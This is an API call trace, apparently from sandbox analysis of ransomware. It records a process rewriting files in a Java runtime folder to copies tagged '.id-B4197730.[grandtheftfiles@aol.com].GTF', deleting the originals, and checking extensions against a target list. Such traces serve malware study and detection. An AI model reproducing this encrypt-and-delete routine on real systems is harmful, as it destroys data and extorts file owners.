	[0072.868] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.868] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x102, lpOverlapped=0x0) returned 1
	[0072.868] SetEndOfFile (hFile=0x35c) returned 1
	[0072.868] CloseHandle (hObject=0x35c) returned 1
	[0072.869] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.869] SetEndOfFile (hFile=0x2d0) returned 1
	[0072.870] CloseHandle (hObject=0x2d0) returned 1
	[0072.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0072.870] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1
	[0072.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.870] lstrlenW (lpString=".doc") returned 4
	[0072.870] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0072.870] lstrlenW (lpString=".docx") returned 5
	[0072.870] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0072.870] lstrlenW (lpString=".pdf") returned 4
	[0072.870] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0072.870] lstrlenW (lpString=".xls") returned 4
	[0072.870] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString=".xlsx") returned 5
	[0072.871] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0072.871] lstrlenW (lpString=".ppt") returned 4
	[0072.871] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.871] lstrlenW (lpString=".zip") returned 4
	[0072.871] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString=".rar") returned 4
	[0072.871] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString=".bz2") returned 4
	[0072.871] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0072.871] lstrlenW (lpString=".7z") returned 3
	[0072.871] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.871] lstrlenW (lpString=".dbf") returned 4
	[0072.871] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.871] lstrlenW (lpString=".1cd") returned 4
	[0072.871] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.871] lstrlenW (lpString=".jpg") returned 4
	[0072.871] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.871] lstrlenW (lpString=".doc") returned 4
	[0072.871] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0072.871] lstrlenW (lpString=".docx") returned 5
	[0072.871] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0072.871] lstrlenW (lpString=".pdf") returned 4
	[0072.871] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString=".xls") returned 4
	[0072.871] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString=".xlsx") returned 5
	[0072.871] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0072.871] lstrlenW (lpString=".ppt") returned 4
	[0072.871] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0072.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.872] lstrlenW (lpString=".zip") returned 4
	[0072.872] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0072.872] lstrlenW (lpString=".rar") returned 4
	[0072.872] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0072.872] lstrlenW (lpString=".bz2") returned 4
	[0072.872] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0072.872] lstrlenW (lpString=".7z") returned 3
	[0072.872] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0072.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.872] lstrlenW (lpString=".dbf") returned 4
	[0072.872] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0072.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.872] lstrlenW (lpString=".1cd") returned 4
	[0072.872] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0072.872] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77
	[0072.872] lstrlenW (lpString=".jpg") returned 4
	[0072.872] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0072.872] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0072.872] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25
	[0072.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.872] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=153) returned 1
	[0072.872] CloseHandle (hObject=0x2d0) returned 1
	[0072.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20
	[0072.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.873] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.873] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.873] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.873] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.873] GetLastError () returned 0x0
	[0072.873] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x99, lpOverlapped=0x0) returned 1
	[0072.874] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0072.875] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.875] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x106, lpOverlapped=0x0) returned 1
	[0072.875] SetEndOfFile (hFile=0x35c) returned 1
	[0072.875] CloseHandle (hObject=0x35c) returned 1
	[0072.876] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.888] SetEndOfFile (hFile=0x2d0) returned 1
	[0072.889] CloseHandle (hObject=0x2d0) returned 1
	[0072.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0072.889] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.889] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.889] lstrlenW (lpString=".doc") returned 4
	[0072.889] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0072.889] lstrlenW (lpString=".docx") returned 5
	[0072.889] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0072.889] lstrlenW (lpString=".pdf") returned 4
	[0072.889] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0072.889] lstrlenW (lpString=".xls") returned 4
	[0072.889] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0072.889] lstrlenW (lpString=".xlsx") returned 5
	[0072.889] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0072.889] lstrlenW (lpString=".ppt") returned 4
	[0072.889] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString=".zip") returned 4
	[0072.890] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString=".rar") returned 4
	[0072.890] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString=".bz2") returned 4
	[0072.890] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0072.890] lstrlenW (lpString=".7z") returned 3
	[0072.890] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString=".dbf") returned 4
	[0072.890] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString=".1cd") returned 4
	[0072.890] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString=".jpg") returned 4
	[0072.890] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString=".doc") returned 4
	[0072.890] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0072.890] lstrlenW (lpString=".docx") returned 5
	[0072.890] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0072.890] lstrlenW (lpString=".pdf") returned 4
	[0072.890] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString=".xls") returned 4
	[0072.890] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString=".xlsx") returned 5
	[0072.890] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0072.890] lstrlenW (lpString=".ppt") returned 4
	[0072.890] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.890] lstrlenW (lpString=".zip") returned 4
	[0072.890] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0072.890] lstrlenW (lpString=".rar") returned 4
	[0072.891] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0072.891] lstrlenW (lpString=".bz2") returned 4
	[0072.891] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0072.891] lstrlenW (lpString=".7z") returned 3
	[0072.891] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0072.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.891] lstrlenW (lpString=".dbf") returned 4
	[0072.891] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0072.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.891] lstrlenW (lpString=".1cd") returned 4
	[0072.891] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0072.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79
	[0072.891] lstrlenW (lpString=".jpg") returned 4
	[0072.891] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0072.891] lstrcmpiW (lpString1=".txt", lpString2=".GTF") returned 1
	[0072.891] lstrlenW (lpString="jvm.hprof.txt") returned 13
	[0072.891] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.891] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4226) returned 1
	[0072.891] CloseHandle (hObject=0x2d0) returned 1
	[0072.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20
	[0072.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.892] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.892] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.892] GetLastError () returned 0x0
	[0072.892] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1082, lpOverlapped=0x0) returned 1
	[0072.894] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1090, lpOverlapped=0x0) returned 1
	[0072.895] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.895] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xee, lpOverlapped=0x0) returned 1
	[0072.895] SetEndOfFile (hFile=0x35c) returned 1
	[0072.896] CloseHandle (hObject=0x35c) returned 1
	[0072.896] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.896] SetEndOfFile (hFile=0x2d0) returned 1
	[0072.897] CloseHandle (hObject=0x2d0) returned 1
	[0072.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0072.897] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1
	[0072.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.898] lstrlenW (lpString=".doc") returned 4
	[0072.898] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString=".docx") returned 5
	[0072.898] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0072.898] lstrlenW (lpString=".pdf") returned 4
	[0072.898] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString=".xls") returned 4
	[0072.898] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0072.898] lstrlenW (lpString=".xlsx") returned 5
	[0072.898] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0072.898] lstrlenW (lpString=".ppt") returned 4
	[0072.898] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.898] lstrlenW (lpString=".zip") returned 4
	[0072.898] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0072.898] lstrlenW (lpString=".rar") returned 4
	[0072.898] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString=".bz2") returned 4
	[0072.898] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString=".7z") returned 3
	[0072.898] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0072.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.898] lstrlenW (lpString=".dbf") returned 4
	[0072.898] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.898] lstrlenW (lpString=".1cd") returned 4
	[0072.898] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0072.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.898] lstrlenW (lpString=".jpg") returned 4
	[0072.898] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.899] lstrlenW (lpString=".doc") returned 4
	[0072.899] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString=".docx") returned 5
	[0072.899] lstrcmpiW (lpString1=".docx", lpString2="f.txt") returned -1
	[0072.899] lstrlenW (lpString=".pdf") returned 4
	[0072.899] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString=".xls") returned 4
	[0072.899] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0072.899] lstrlenW (lpString=".xlsx") returned 5
	[0072.899] lstrcmpiW (lpString1=".xlsx", lpString2="f.txt") returned -1
	[0072.899] lstrlenW (lpString=".ppt") returned 4
	[0072.899] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.899] lstrlenW (lpString=".zip") returned 4
	[0072.899] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0072.899] lstrlenW (lpString=".rar") returned 4
	[0072.899] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString=".bz2") returned 4
	[0072.899] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString=".7z") returned 3
	[0072.899] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.899] lstrlenW (lpString=".dbf") returned 4
	[0072.899] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.899] lstrlenW (lpString=".1cd") returned 4
	[0072.899] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0072.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 52
	[0072.899] lstrlenW (lpString=".jpg") returned 4
	[0072.899] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0072.900] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0072.900] lstrlenW (lpString="tzdb.dat") returned 8
	[0072.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.900] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=105500) returned 1
	[0072.901] CloseHandle (hObject=0x2d0) returned 1
	[0072.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20
	[0072.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0072.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0072.901] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.901] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.901] GetLastError () returned 0x0
	[0072.901] ReadFile (in: hFile=0x2d0, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x19c1c, lpOverlapped=0x0) returned 1
